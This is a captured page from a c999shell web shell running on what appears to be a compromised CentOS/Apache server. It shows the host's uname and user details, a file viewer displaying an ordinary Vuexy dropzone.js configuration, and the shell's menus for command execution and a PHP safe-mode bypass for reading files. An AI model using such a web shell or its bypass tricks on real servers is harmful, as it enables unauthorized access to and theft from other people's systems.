Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/report/app-assets/js/scripts/extensions/ drwxr-xr-x |
Viewing file: dropzone.js (3.15 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | /*========================================================================================= File Name: dropzone.js Description: dropzone -------------------------------------------------------------------------------------- Item Name: Vuexy - Vuejs, HTML & Laravel Admin Dashboard Template Author: PIXINVENT Author URL: http://www.themeforest.net/user/pixinvent ==========================================================================================*/ Dropzone.options.dpzSingleFile = { paramName: "file", // The name that will be used to transfer the file maxFiles: 1, init: function () { this.on("maxfilesexceeded", function (file) { this.removeAllFiles(); this.addFile(file); }); } }; /******************************************** * Multiple Files * ********************************************/ Dropzone.options.dpzMultipleFiles = { paramName: "file", // The name that will be used to transfer the file maxFilesize: 0.5, // MB clickable: true } /******************************************************** * Use Button To Select Files * ********************************************************/ new Dropzone(document.body, { // Make the whole body a dropzone url: "#", // Set the url previewsContainer: "#dpz-btn-select-files", // Define the container to display the previews clickable: "#select-files" // Define the element that should be used as click trigger to select files. }); /**************************************************************** * Limit File Size and No. Of Files * ****************************************************************/ Dropzone.options.dpzFileLimits = { paramName: "file", // The name that will be used to transfer the file maxFilesize: 0.5, // MB maxFiles: 5, maxThumbnailFilesize: 1, // MB } /******************************************** * Accepted Files * ********************************************/ Dropzone.options.dpAcceptFiles = { paramName: "file", // The name that will be used to transfer the file maxFilesize: 1, // MB acceptedFiles: 'image/*' } /************************************************ * Remove Thumbnail * ************************************************/ Dropzone.options.dpzRemoveThumb = { paramName: "file", // The name that will be used to transfer the file maxFilesize: 1, // MB addRemoveLinks: true, dictRemoveFile: " Trash" } /***************************************************** * Remove All Thumbnails * *****************************************************/ Dropzone.options.dpzRemoveAllThumb = { paramName: "file", // The name that will be used to transfer the file maxFilesize: 1, // MB init: function () { // Using a closure. var _this = this; // Setup the observer for the button. $("#clear-dropzone").on("click", function () { // Using "_this" here, because "this" doesn't point to the dropzone anymore _this.removeAllFiles(); // If you want to cancel uploads as well, you // could also call _this.removeAllFiles(true); }); } } |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0145 ]-- |